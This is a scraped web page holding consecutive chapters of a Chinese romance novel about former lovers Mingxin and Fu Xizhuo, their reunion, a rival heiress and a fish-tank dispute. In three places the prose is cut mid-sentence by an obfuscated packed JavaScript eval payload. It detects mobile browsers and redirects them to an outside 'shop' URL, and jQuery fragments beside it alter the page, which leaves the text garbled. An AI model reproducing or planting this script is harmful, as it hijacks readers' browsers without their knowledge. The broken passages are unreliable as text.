“你也尝尝,昨天他吃过了。”黄连把唯一的一块蛋糕推给她。 铭心垂着眼,木然地吃底下很少的一层蛋糕胚子。 而不去碰别的部位。 “奶油也挺香的,用的都是好材料。”见她不吃,黄连开始大力推介,“尝尝,你们都尝着好吃的话我就不改配方了。” 她也成了品鉴官之一了,这下不得不吃,因为有了责任。 铭心把勺子伸向奶油,挖了浅浅的一小口,放进嘴里。 奶油质感很细腻,立刻在舌尖化开。 柔滑的、粘稠的液体触碰到她的舌头。 铭心猛地放下了勺子。 双颊都烧起来。 …… “吃完我得补觉去了。”黄连揉着太阳穴控诉: “你不知道他昨晚上发什么疯,你睡了他的房间那他去你屋睡就行了呗,他不去,非要跑过来跟我一间房。我好心收留他吧,他大半夜的不睡觉又爬起来冲澡——睡前不是冲过一次了?这还不算完,洗完了澡又管我要酒喝,你让他自己说说,大晚上不睡觉干嘛呢?” “睡不着才不睡的。”没等铭心评理,傅西灼很快地回了嘴。 “……”黄连似乎没想到他这么坦然地就接受了他的控诉,愣了会儿,又想到了他的伤。他凑过去检查他脖子,“昨晚上又疼了没?我看看。” “看着是有点好的迹象了。”黄连检查了一眼,称赞铭心:“多亏了你,你买那药挺管用。” 铭心不怎么想笑地笑了下。 “行了,我补觉去,你俩要闲着没事就去海边玩会儿吧,好不容易来一趟。” 铭心很喜欢海,去是肯定要去的,只是她希望他不要去。 他去了。 她又希望海上的风能具备消散记忆的功效,好让他遗忘一些该遗忘的,不至于来找她讨要“公道”。 午后的风不大,阳光也是稀薄的一层。 傅西灼找了片离浪远一些的沙滩,一来就蹲在那里堆沙堡。 他对这样的游戏很痴迷。 他们一起看过很多次大海,大多是他堆沙堡,她拿着相机拍落日。 像两个玩不到一起的孩童。 但他堆完了,第一个总给她看;她这时就从很远的地方跑过来,说我刚刚拍了很好看的夕阳。 “先看我的,过会儿浪打过来就没了。”他把相机一挡,耍赖。 “行吧,那我们交换。” 她蹲下去检阅他的作品,他就按着相机键一张一张看她的摄影大作。 论创造力,两人可以说是平分秋色,但论造型能力,他可就不如她了。 “这里是公主的头发?” “……你说这是头纱?” 她吃惊于他“奇特”的动手技能,总是看着看着就不满意了,而给他的沙堡动手添点“天才之笔”。 “怎么样,是不是妙手回春了?” 闭着一只眼躲太阳的余光,她仰脸看他。 他不去看沙堡,而觉得她蹲在那里像一株小蘑菇。 把相机往脖子上一挂,他端起她,远远地送到海水的边缘。 “哇——”铭心大喊。 以为她会堂皇,没想到玩得很欢,“飞起来啦!” 好像比他更喜欢这样的恶作剧。 “有人来了有人来了,”一看到路人,她狂拍他手臂,“快放我下来。” 他就又带她飞到干燥的地方去,放她躺倒。 沙子很硌,他一放又觉得不妥,“要不然躺我身上?” 明明是个好办法,却遭到她的毒手。 往下狠狠一扯,他被她拽了个趔趄,由蹲着改为大马趴,她说:“那你得先跟我高度一致。” 这姿势不怎么帅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382228|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他调整了下,改为跟她并肩仰躺。 “两个人看海好像有点不一样。”铭心开始感怀。 “是吗?”傅西灼故意逗她,“没觉得啊。哪里不一样?” 铭心听了这话起身,把手撑在他身体两侧。低下脸贴近他的脸,她眼睛里因为他的不解风情而添了些愠色:“你说呢?” 她把声音压得低低扁扁的,像动画片里的人物。 傅西灼觉着挺可爱。 有大概三十秒,他的脑子一片空白。 只顾着看她。 她脸很小,整个的沐浴在阳光里,镀着一层柔光。只有高挺的鼻梁在嘴唇那打下一点阴影,他的目光便只能集中在那里。 “因为我在,”他声音低低的,视线在她薄而小巧的嘴唇上溜了一圈又一圈,“所以海更美了?” 铭心用额头顶了他额头一下,像头小牛犊:“现在才想起来煽情?晚了。” 他觉得可爱炸了。 转眼又想到,她有可能不喜欢他在有人的地方亲她。 于是他忍了忍,唇只落到她鼻尖上:“……我们回家?” …… 今天的夕阳是紫调里透着粉,像电影海报里的背景。 铭心咔嚓咔嚓拍了一大堆,又删掉一些,取其精华,过去给傅西灼看。 他们默契地交换,她蹲下身侍弄他的沙堡,他看她的照片。 刚捡起一捧沙子,他忽然戳她肩膀。 “嗯?”铭心仰头,他让她看相机里的照片。 那是一张外国人的照片,裸着上身,咧着嘴笑得开怀。 “我问过了,”铭心声明她没侵犯人隐私,“他同意了我才拍的。” “你来是干这个的?” “顺便啊,拍张当人体素材也不错,你没看他比例挺好的吗?” “你不是见过更好的?” “没啊,在哪?” “……” 逗到他了,铭心心里乐得不行,低下头继续玩沙堡,生怕暴露了上扬的嘴角。 没想到傅西灼也蹲下身来。 他黏在她边上,各个角度歪头,试图闯进她的视线里。 铭心推了他一把:“干嘛啊我没弄完呢,一边儿玩去,别闹。” 他一倒,连带着扯过她。 碰散了沙堡。 铭心抓一小把细沙往他身上砸:“没了,开心了?” “开心。”傅西灼吊儿郎当。 唉。真没办法。 对他生气也生不起来。 刚想重新堆一个,他突然出声,报了一串数字。 铭心很疑惑:“彩票中奖号码?” “你脑子里除了钱就没有点别的?”他不满。 “那你念数字什么意思啊。” “肩宽腰围臀围腿长。” 铭心:“……” “你当时说我是你见过比例最天才的人体。” 铭心:“我那是怕你伤心。” “所以不是?” “人外有人山外有山啊,你纠结这个干什么。就像这海滩,”怕他误解她的意思,铭心找了点具象的东西劝慰他,“乍一看很大吧,但比这大的也多了去了。” “比这小的也有。” 怎么莫名开始比拼地理知识了?铭心问:“哪儿?” “沙发。” “?” “室内沙发的大小正适合在下面接吻……或者强吻别人,对吧?” “……” 铭心心里咯噔一下。 察觉到了危机。 得赶紧跑才行。 她迅速起身。 他却更快,手一动就拽下她来。 “已经知道了我最新的身体数据,要不要再告诉你点别的?”蛊惑地,他问。 “还有、……别的?” 铭心试图起身,用话敷衍着他。 逃脱失败。 他将手臂往她肩上一横,牢牢锁她在沙上。 手指由左肩,慢慢游移到中间,在她颈上轻如羽毛地撩了一道。他说: “我不是喝醉酒会失忆的类型。” 22. 第 22 章 铭心整个木住了。 她几乎已经看到一把刀由他执着,悬在了她的头顶。 为了不使这刀立刻落下来,铭心眼珠子轱辘了一下,试探着问:“我们聊聊?” “不聊。” “聊一下嘛。” 他放开了她。 立直了身子,坐得很端正。 好像要把这事当作审判庭上的一桩案件来辩论,好辩出谁应负的责任更大些。 铭心也坐直了身子,随手捡了个树枝,在地上画。 “这是你说的沙发,这里是门,”她在两者之间连了条线,“从这里到这里,我是有记忆的,我记得我走过来了,坐到沙发前面的地毯上,你在沙发上。” “……”一顿,她不往下说了。 因为经过方才这么绘型绘色地一分析,她突然把昨晚的情景分毫不差地想起来了。 脑海里有一点他叫“疼”的语音,还有一些她对他做出的出格的事。 当然,这并不全然是她的错。 如果她有错,那他也应当负起“引诱”她的责任。 ……话虽这么说,可他嘴实在厉害,在她看来很权威的她的“引诱论”,要是经他的嘴巴那么一反驳,必定是站不住脚的。 到时候她不但讨不着他的东西,反而被他将一军去,说她趁着醉酒占了无辜少男的便宜。 想来想去,铭心决定赖账。 “那之后……我就睡着了吧?”她把那轨迹擦了,木棍抛在一边,拍拍手上的沙,“谢谢你送我回房间。” 傅西灼静静地审视她片刻,说:“看来忘了不少啊。” “找机会,”他笑,“我会帮你想起来的。” - 一周后。 酒吧。 傅西灼在等人。 程书鱼约他见面,自己却迟到半小时。 往常,他是没什么耐心的。今天却心平气和,没有一点儿不耐烦。 “可以啊你,上哪进步去了?” 程书鱼一来,也对他这天大的耐心表示吃惊:“上次见面你还是个只会给我摆架子的臭脸公子哥,怎么今天变成看人迟到也不恼的无敌绅士了?” “什么时候回来的?”并不接她的话,他只问自己想问的。 “刚刚,”程书鱼托着腮,故意惹了他一嘴,“看见你才感觉到了家。” “……”傅西灼酒杯一顿。 “不能再回去吗,”他说,“我可以非常绅士地,去送机。” “那可不行,请神容易送神难,没听说过?” “我没请你。” “你家如来佛请了呀,怕你被妖女蛊惑了,喊我回来跟你结婚。” 听到“结婚”两个字,傅西灼朝三点钟方向看了眼,告诉程书鱼:“嗓门放小,这顿酒我请。” “本来你也会请啊。”程书鱼摇晃着酒杯,“认识这么久,我还是了解你的,毕竟你也算我半个理想型。” 傅西灼低头看手机,没搭话。 “喂,说话。” “你还是把那半个也去了吧,我不乐意当你理想型。” “就不。” 把酒瓶拿走,傅西灼威胁:“不然别喝了。” “我喜欢不爱搭理我,然后又很有掌控感的类型。” 程书鱼自顾自地发表自己对理想型的看法,而全然不顾他说了什么。“你呢,恰好这两点都符合了,所以就算是家族联姻吧,跟你我也能凑合过。” “从哪看出掌控感的?”傅西灼熄灭手机屏幕,撩她一眼,“是因为我刚刚抢了你酒?那再还你就是了。” “才不是这种呢。”程书鱼不乐意了,对他的肤浅认知又发出反驳,“风筝和掌线的人那种关系,你能懂吧?线一拉,风筝就回来了。” 风筝…… 刚才翻看她的朋友圈,是几月份来着?她也去放风筝了。 历铭心什么都爱发,发的最多的是饭。有时也发跟朋友的聚餐合照。 吃饭,跟朋友见面,郊游…… 傅西灼一点一点地,将他方才看过的碎片拼凑成整体…… ——他想知道没有他的日子里,她是怎样生活的。 可当那块拼图越来越完整时,他发现,她的生活是那样五光十色。 少了他,也还是完整的一块。 她并不是像他一样。 一直苦熬着,在等她来。 酒喝到嘴里,突然变得很涩,难以入喉。傅西灼勉强喝完,才想起要回复程书鱼。 “你看错了,”他说,“我其实是很听话的类型。” “说什么呢……”程书鱼怀疑的眼神。 “意思是,我的线也在别人手上。” “……” 程书鱼这才顺着他的目光,望过去。 怪不得今天这么有耐心坐在这儿,还以为是因为她,原来另有其人。 程书鱼看热闹不嫌事大:“围在你心上人身边的小狗可挺多呢。” 她怂恿他:“你不过去汪汪几声吓跑他们?” 这么开他玩笑,以为这大少爷该发脾气怼她一句了,没想到他丝毫没受她影响,反倒神情自若。 “在躲着我呢。”他说。 “就好像我会对她怎么样一样。” “你是□□吗,难不成吓唬人家了?” 傅西灼瞪她一眼:“我很白。” 程书鱼:“……” - 方才自己偷眼观察的曼妙女郎,突然朝自己走过来,铭心一慌,赶忙低下了头。 这女生突然出现在傅西灼身边,且人很漂亮,所以她就多看了几眼。 没想到被发现了。 还是说,是她想多了,人家压根不是冲着她来的? 高跟鞋声越来越近。 …… “我是程书鱼。”一阵女人香充溢了鼻腔,铭心抬起头来,见一双笑盈盈的眼正瞧着她。 “我们刚刚对视了吧?”程书鱼很神气地说。 哇。这来势汹汹的开场白…… 摇头,铭心也笑了笑:“这种我一般不承认。” “为什么?” 程书鱼大概听出她是在开玩笑,也把角度找得很清奇:“有人因为对视就要你跟他结婚吗?” 铭心:“害怕你是那样的人所以……” “我不是。” 啊。表白被拒绝了的心情。 铭心脸上还挂着笑:“我开玩笑的。” “我倒是有点生气了。”程书鱼说。 “那我道歉。” 气氛很紧张,俩人就这么大眼对大眼,对望了一会儿,程书鱼失笑:“我也是开玩笑的。” 铭心松一口气。 程书鱼道:“你长得真漂亮呢,让人想生气也不知道从哪开始生。” “虽然听不出是真心夸奖还是讽刺,不过,”铭心想了想,“如果你一定要生我气的话,可以从头发开始。” 程书鱼:“因为你头发很多被薅掉一点也不心疼?” 铭心微笑摇头:“因为越往下你会发现我整张脸都超级无敌漂亮。” 程书鱼:“……” 程书鱼:“哇。” 程书鱼:“你真的好奇怪。” 程书鱼:“你前男友是因为脸跟你在一起的吗?因为性格实在不怎么样。” 铭心极不明显地往一个方向看了一眼。 发现傅西灼也正把她看着。 她清了清嗓子,问:“怎么知道是前男友的,他连这个都告诉你了?看来你们关系很亲密。” “他没说我就不会自己看?”程书鱼顶了她一句。 铭心倒听得很开心。 “我看得出来,他看你的眼神,”程书鱼补充她的论据,“是已经失去了的眼神。” “你喜欢他吗?”铭心问。 “你猜?” “喜欢一个人的话,会在意他的眼神,也会在意他喜欢谁。” 程书鱼拿过铭心手边的一瓶鸡尾酒,起开了,“你这么聪明的话会让我很想跟你交朋友哎。”喝了一口,她皱眉,想说点什么,又没说。 “什么时候改的主意?刚才你过来我以为找我打架的。”铭心也喝了一口酒,“很好喝啊你为什么不喜欢。” “你自己都喝了吧,我不喝这种廉价酒。” 程书鱼推给她酒瓶,又继续方才的话题:“你是他前女友吧?我是有可能跟他结婚的人,所以你别再靠近他了——本来想过来跟你说这种话的。” “那怎么没说?” “刚刚我从那边走过来,距离你一米的时候,”程书鱼用白开水漱了漱口,回身找了个参照物,“大概在那个红色领带服务生站的位置,那个距离跟你喊话的话,其实刚好能听清了。” “但比起说话呢,我先看清了你的脸,”她看着铭心,“所以就把一些恶毒的话忘了。” 第一次听到这么让人心动的恭维,铭心特想跟眼前这人交朋友。 名片已经掏了一半,想了想,又按回口袋去。 递名片可能显得不够真诚,人家还以为她是销冠呢到哪儿把工作带到哪儿。 换个方式吧。 拿出随身带的口袋笔和速写纸,铭心低头写了号码,写完推给程书鱼:“那下次见面的时候再说给我听吧。” “什么啊。”程书鱼突然猛推了她一把,语气娇嗔道,“你不会想采用怀柔政策吧?跟我搞好关系然后以闺蜜的身份劝我别跟他结婚?” 铭心被她推愣了。 像个反应故障的弹簧一样静止不动,过了几秒才缓慢回弹。 把自己身子重新摆正了,她忍笑问:“你一天吃三顿鸡胸肉吗?怎么力气这么大。” “健身小有成果啦。要看看吗?”程书鱼还真开始撩袖子。 “下次,下次。”铭心劝住她。 突然想到江依在健身前还是个萌妹子,健身后也每周跟她发图片猛秀肌肉。果然,健身人很难忍住不晒。 “那试试我的手臂力量。”程书鱼又伸出手,示意铭心跟她握。 铭心乖乖把手放上去,有些怀疑:“这能测试出手臂力量?” 程书鱼:“我只是想跟你握手而已。” 铭心:“……”被骗了。 撩拨完了这边,程书鱼又走回另一边,在傅西灼面前,她伸出一只手。 “不借钱,缺钱的话可以找柜台赊账。”傅西灼语气不咸不淡。 “……”什么啊我一大小姐能当乞丐? 见此人悟性极差,程书鱼打算再说得明白点。摇晃了一下那只手,她再次示意:“确定不握?这只手刚刚可握过一个美人,还有香味呢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385273|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我是流氓吗?”傅西灼很不屑地反问。 也不是不可以啊。 “流氓就得你这种脸来做,长得丑的容易被人挥拳头。”程书鱼真是这么想的。 她说完,傅西灼起身。 “生气了?我开玩笑的。” “没气。”傅西灼走之前回了她句,“打算听取你的建议,去做流氓。” 程书鱼:“?” …… 有人递名片过来,铭心没什么兴趣,只粗略看了一眼就拒绝了。 “家里人找人给我算过命,说今年不宜与姓文的人结交。而且啊,您名字里猪这个属相,跟我的属相不合,我们家人比较在意这点。” 为了拒掉麻烦,铭心把自己塑造成一个“家宝女”。 “……”男人突然变了脸色。 脸上一会儿红一会儿白,隔了半晌,他说:“我姓刘,叫刘昔。” ……啊。 铭心在脑子里回想“刘昔”两个字的结构。 没错啊是很像文猪。 而且他的签名又那么潦草。 看错了也不能全怪她吧。 虽是这么想着,但该道歉还是得道,铭心说了声:“真不好意思。” 那人脸上的阴霾立刻就扫空了,紧接着开始大谈特谈自己的签名设计,说是斥巨资找知名书法家设计的。 真的很想直接走人。 但又隐隐感到不安。 眼前这人的气质长相,都似乎离着“善良的人”有一些距离。社会新闻看了不少类似事件,她很害怕陌生男人会突然狗急跳墙而掏出刀子。 因而对待他们总带着最大程度的谨慎。 眼下她只能表现出“真厉害”的样子翻来覆去欣赏那张名片。 一抽,名片被拿走了。 那人跳起来:“你谁啊!” 铭心回头,见傅西灼站在那。 嘴皮子都懒得动一下似的,他懒懒地掀了掀眼皮,把那名片顺手丢进垃圾桶。 “你谁!”男人又大喊了一声。 双手插兜,傅西灼把垃圾桶踢到他腿边。 “既然你已经自我介绍过了,那我就告诉你。”他露出施舍的眼神。“相比你,我是不需要向她递名片的人。” 男人把眼落在傅西灼的手表上,大概是在心里估算了一下这少爷的身家是个惹不起的,骂骂咧咧地走了。 走时还不小心撞了程书鱼一下,屁股挨了程书鱼一脚。 “刘昔是吧?”程书鱼瞥了眼垃圾桶,用锐利的眼从里面揪出罪犯的名字,“他刚刚撞我了,我要让我的律师团告他。” 铭心被这大小姐逗笑了,佩服道:“写成这样你都能认出来啊?我差点以为他姓文名猪了。” “这算什么啊。”程书鱼骄傲炫耀:“我小时候贼爱给同学设计鬼画符签名,认这种字对我来说小菜一碟。” 一听这话,铭心想起点什么。 走到她身边,她小声:“……能不能帮我个忙?” “跟他有关?”程书鱼被推着走,一边朝傅西灼的方向抬了抬下巴,一副自己绝对猜中了的神情:“不然没必要避开他吧。我说得对不对?” 铭心真佩服她这随时随地想看戏的闲情逸致:“啊对对对。” 俩人找了个隐秘的小桌,铭心点进手机相册,往左滑了几张。 找到那天在海边,路人airdrop给她的照片。 说是觉得画面很好看就顺手拍下了,铭心付了一笔小钱拿到照片。 照片拍得远,两个人都小小的,蹲在地上。 傅西灼在海滩上写字,字小而潦草,辨不出写的是什么。 铭心在看寄居蟹。 当时她忽然起了点感慨,问他说:“如果有来生,你想做什么?海里的鲨鱼还是寄居的小蟹?” 隔着一点距离,他的声音被风传过来。 “没考虑过这个,你定吧。” “我想做一株植物,低低矮矮在墙边开花的那种,你嘛……”她是小花的话那他也要在陆地上才行,“你就做长在天上的那种花吧。” 她没抬头,却听见傅西灼笑了。 “你是根据腿长决定的?” 往他那挪了挪,她丢一块小石子到他脚边,表示抗议:“我腿也很长好吗。” “什么花能长在天上,又不是月亮。”他不信。 “有一种花叫月光花,晚上开放,能长到30米呢。” “30米。……还不错。”傅西灼很满意似的:“那我做最高的那朵。” “可以啊,”小蟹跑了,铭心站起身,视线没离开他,“我仰头看天空的时候就顺便看你。” 四目相视,傅西灼盯了她一会儿,突然改了主意: “你还是做人类最好。” “嗯?” “有房子可以防晒,下雨天可以打伞,”顿了顿,他似乎想到什么,“不过你要答应——在家的时候,不管晴天雨天,都要打开窗户。” 这样的话,雨水不就很容易打到屋里来? 那天,铭心问他:“为什么下雨天还要开窗?” 程书鱼把辨认出的那行字写到纸上,推给她。 ——这就是他给的回答。 作为花。 他说: “我会落到你的窗台。” 23. 第 23 章 风从窗外吹进来。 月光里的树影,投在窗台上,微微摇晃。 铭心的视线被程书鱼的声音拉回:“……嗯?” “我说,”程书鱼又重复一遍,“你不会是在跟我表白吧?明面上是在问字,实际上在借字表白?不会吧我们才刚见面……不过也可以理解,我天生就讨人喜欢。” 她叽里咕噜说了一大堆,铭心愣了两秒,失笑:“我看起来像是吗?” 程书鱼长长的猫眼美甲在那张纸上点了一下:“写这些字的人看起来像是啊。” “这不是我写的。” 铭心把纸条叠起来,工工整整地放进包里:“谢啦。” “那我可提醒你一句。” “嗯?” “虽然不知道是谁写的也没兴趣问,不过呢,这人这么写估计就是不想让你认出来,不然正常人日常写字谁会用这种字体啊。不知道的以为行书大家当代王羲之呢呵呵……总之,你少跟这人来往吧。” “这人……有什么问题吗?”听完她的告诫,铭心诚心发问。 程书鱼:“有点装。” 铭心噗嗤笑出来。 - 天气转暖了一些,家里小鱼越来越多,是得换个大点的鱼缸了。 下了班,铭心去水族店挑。 一进门就相中一个,规格和样子都挺合适的,无奈价格太高。 又看了看其他的,不知道因为雏鸟效应还是别的什么,总觉得都没一开始的好。 铭心只好舔着脸,做了个讲价的尝试:“您给我便宜点吧,我也不是第一次来了。” “不是第一次来,可也一次都没买过,”老板剜了她一眼,“老客有优惠,可我家鱼都快把您看顺眼了您还没成为老客呢。” “……”说得也没什么毛病,铭心摸摸鼻子,有点羞赧,“没想到您和您的鱼都对我印象这么深刻。” “有对象没?” 这话问得突然。 老板把眼神放柔和了些,又说:“我看你长得挺好,我小儿子还没成家,以后要继承这个店的,你对我这店有兴趣吗?” 铭心有点想笑。头一次见不夸赞自己儿子而直接拿店作为诱饵来招揽儿媳妇的。 铭心拍拍相中的鱼缸:“我对它感兴趣,对人的话……得先看看脸。” 她一点虚话没说。 不管老板儿子性格多好或者拥有多出众的品质吧,对她来说,这都是后话,脸总是第一关。 她以自己脸的基准来要求男人,好看程度得跟她不相上下才行。 “我家孩子呢,完全不挑剔对象的长相,长得漂亮长得丑在他眼里都一个样儿。女的那更不应该在意男人的长相了,老实,会赚钱,不就……” “这个缸您还卖吗?”铭心不打算再听下去,径直打断。 “真没法再便宜了!” 许是发现儿子没有鱼缸受欢迎,店主又改了口风,不推销儿子了,改为推销鱼缸:“除了这个展示品,就剩最后一个,最低价,跟谁我都卖这个价。这个缸好,它好就好在……” 铭心听进去了,况且不用他多做介绍,她自己也看出这缸好了,问题可不在缸身上,在钱啊!一个中等大小的鱼缸,怎么能卖两千块! 铭心想到来之前在网上学到的杀价技巧,这时候她不能妥协,得硬气一下,最好是转头就走。 她真转了身,走出一步去,微微回了个头:“那我先不要了,再看看别家。” 按照网上的攻略,这时候老板要挽留她了。 她故意走得很慢,等候着。可快走到店门口了,也没听见老板出一声。 一回头,人家已经去招待别的顾客去了。 “……” 也没个台阶能下来,铭心只好硬着头皮走出了店门。 旁边是家金店。 算命的说过她命里喜金,因此但凡路过金店,她总要进去逛逛,想着沾点财运。 反正今天下班早,也还有时间,她打算先进去看看金戒指啦金耳环啦,再想个借口进水族店买下那个鱼缸。 要是在这段时间里,鱼缸恰好被别人买走了呢,那就算了。要是还在,那就说明是命运,她必须得破费带它走了。 金店没有空的凳子,三个销售一人在照顾着一位贵客。没人管她,铭心也乐得清闲,得以自由地走走看看。 来都来了,她没打算走马观花,挑得很仔细。尽管没什么需要买的。 脖子低得有些酸了,她抬起头来一打眼—— 在靠近门的一角,瞥见了一样熟悉的东西。 走近了细看,还真的,就是她的那枚戒指。 “……” 他拿走不肯还她,然后转头在这里卖掉了? 一股怒气从脑门慢慢升腾起来。 他是完全不缺钱的人,把这东西变卖了,就更加说明他不为钱。 而纯粹出于讨厌她! 不想看见她的东西! 铭心想到这点,便更加无法释怀。 她决定买下那个鱼缸,花点钱来让自己消气。 再次走进那家水族店。 一眼她就看见有个人在抓起饲料喂鱼。 很漂亮,修长、干净的一只手。 很适合戴戒指的手指上,此刻,却什么都没有。 戒指……戒指! 怒火又重新燃起,铭心迈开步子走过去。 一震,手机响了。 他看过来。 接电话也没耽误工夫,铭心走近他,啪一下拍掉他正用手指拈着的,还没来得及下放的小鱼饲料。 指了指自己,又指了指鱼缸,铭心示意:我的,敢动你死定了! 一套动作行云流水,她继续脸不红心不跳地听着电话。 是林纵打来的,跟她商量电脑配置的事。 “公司说给买新的,你之前那个旧的还修吗?要不就不要了吧……” 听着听着,铭心灵机一动。 林纵有个习惯,同样的话如果说两遍,第二遍绝对不会说成一样的,而只概括第一遍的要点。把握到了这个精髓,等林纵说完了,铭心对着电话问:“你刚才说什么?这里有个人说话很吵我没听见。” 傅西灼冲她冷笑一下:“我说话了?” 管你说没说。 铭心打开扬声器。 “我说,”林纵重复刚才话里的重点,“我们不要了,买新的吧。” “好啊。” 说完这俩字,铭心一秒都不带犹豫地挂断了电话。 她自始至终都盯着傅西灼,确保他把每一个字都听清后。 才冲着他,自然地,绽出一个笑。 “说戒指呢。” 傅西灼挑了挑眉。 铭心继续:“你那里的戒指。” 铭心:“我们不要了。” “老板!”说完,没等他反应,她移开视线朝对面喊:“我朋友还是比较喜欢这个,给我包起来吧,我要了。” 是的我的朋友就是我自己。 “我怎么不知道你还有爱养鱼的朋友?” “你不知道的事多了,你了解我多少?”背对着他,铭心用凉凉的语调回复他。 “从前了解,现在……不确定。啊——还是说从前也没了解过?只是我自以为的了解?”顿了顿,他走到她面前,“不过我想我们很有缘,我刚刚也看中了这个鱼缸,已经跟店主预定了。” “我先挑中的。”铭心用大眼睛瞪他,尝试威胁他放弃。 但没威胁到。 “那你怎么不付定金?” 她虚势:“因为我打算全款买下。” “那就很可惜了,因为我已经,付过了全款。” “你又不养鱼你要鱼缸来干嘛?” “我从今天开始养。” 铭心:“……” 行。你行。 “既然要养的话,”出于对小鱼的关爱和对新手的担忧,铭心好心提醒:“最好补习点相关知识吧,好好对你的小鱼。” “当然。”傅西灼唇角微弯,是一个嘲讽的弧度,“我又不会抛弃它们。” “……”你不要又在这边!意有所指! 感觉完全被针对了。 铭心扭头,气呼呼地走了。 一路上。 想到那枚戒指孤零零地躺在金店,心里还是有些堵。 要不要去赎回来?赎戒指的钱可以买好多个鱼缸了。 唉。再想想吧。 …… 隔天下午,被傅西灼买走的鱼缸却经由一个跑腿小哥送到她家里去了。 铭心跟来人面面相觑:“……您是不是送错了地址?” 那小哥核实了下:“没错啊,就是您这儿。” 铭心还在犹豫不决,那人又说:“送货人说有个注意事项,让您看一下。” “那我先确认一下。” 铭心拆开信封。 里面是折得很规整的纸,一打开,就一个字——“不”。 她又全部展开,辨认出是他的字迹。 傅西灼——用一手漂亮的瘦金体在同样漂亮的粉色信笺上,竖排写了三个大字: 不。 要。 了。 “是我的,抬进来吧。” 跑腿小哥把鱼缸安置好,走人。 铭心则坐在沙发上,把那三个字看了又看。 这次的字迹倒是很好认。 上次,程书鱼说: ——“他写成这样估计就是不想让人认出来。” ——“有点装。” …… 那如果,当初写成那样是不想让她看出写了什么,那现在,就是故意想让她知道了。 是想跟她,宣战! 想到战,铭心立刻在脑中搜索子弹。 起身,奔到卧室,一口气拉出她的宝藏抽屉。 她一样样开始盘点。 生日送的最新版ipad和手织帽子,七夕送的数位屏和手套,跨年夜送的羊绒围巾和人体工学椅…… 49天纪念日送的金耳钉,99天纪念日送的金项链,199天纪念日送的金手镯…… 他曾说想跟她一起过的纪念日太多了,送这些不是敷衍,是希望在需要的时候,她能毫无负担地拿去换钱。 ……还有许许多多的小物件。 东西太多,战斗的激情在不断翻找的过程中被磨灭了。 剩下来的只有莫名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396079|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀念。 那些节日和那些不算节日的节日,的碎片,在她的脑海中反复出现。 她靠那些片段拼凑出了过往岁月里的傅西灼。 一个温柔的、细心的,占有欲强的,偶尔使坏的,跟她相爱的,傅西灼。 那个时候…… 想到那个时候,铭心眼眶开始发酸。 很快她调整好了自己。 哼。 那个时候他还不会跑到水族店跟她抢鱼缸呢! 铭心亲自把“战帖”送出了,因为有贵重物品,不方便寄。 放到他门口,她敲敲门,藏到楼梯间里。 过了十分钟,又跑出来看。 看到自己送的大包消失了,才放心地下楼。 一通忙活下来给自己累够呛,晕头晕脑的。 回到家,洗了个澡,铭心开始在网上搜索程书鱼的名字。 起因是一进到浴室她就爱想事儿,在水声里,她想到程书鱼说过的——跟傅西灼“结婚”。 新闻上出现的程书鱼,是鼎晟集团的千金,人生的质感只与“继承”“股份”“联姻”这些词条突出地联系在一起。 “联姻”的对象……当然有可能是傅西灼。 当时,铭心没有过问程书鱼有关“联姻”的事。不管她喜欢谁,是真心还是家族要求,这都是她个人的情感,旁人无权过问。铭心并不想因为男人跟程书鱼产生嫌隙,不管程书鱼喜不喜欢傅西灼,她知道,她是有点喜欢程书鱼的。 她想跟程书鱼做朋友。不想让无关的猜测和问责毁了她们还尚未建立但她即将为此努力的友情。 可是现在……她却突然有了一点点的恨。 那恨意的针尖并不直接对准程书鱼,她只是很笼统地……开始恨有钱人。 恨为什么有钱人生下来就是有钱人。 穷人却要被有钱人踢一脚说滚开,你有什么资格踏入我们的世界。 从这个角度说来,她也应当恨傅西灼。 可她恨不了他。公平起见,她只好原谅了世界上所有的有钱人。 十点钟,手机响了,铭心接起来。 傅西灼叫她:“下楼。” “有事吗?” 收到她的礼物,她猜到他会有反应,会不爽。 没打算下楼见他,铭心装出一副恶劣冷漠的语气:“没事就歇着吧,我已经躺下了。” 那端说:“别骗人,你只是躺床上看投影吧?” “……”铭心爬起来四处打了一眼:“你在哪?” “我没有监控你,只是了解你十年如一日的作息。”傅西灼声音冷冷的,“按照你希望的,东西我清点过了,但还漏了一样,麻烦拿下来。” 还清点“过”了。她明明就好几样都没还回去,他清点过了却只发现少了一样? 铭心“切”了一声,问:“哪个?” “帽子。” 铭心把头发完全吹干,戴着帽子下去了。 这个帽子她年年冬天都在用,实在很喜欢,不想送走。不怎么暖和吧,却是他亲手织的。 到了楼下,一扇车门缓缓开启。 她坐进去,没想到他也在后座。 刚落座,“当啷”一声,一大包东西就抛在她腿上。 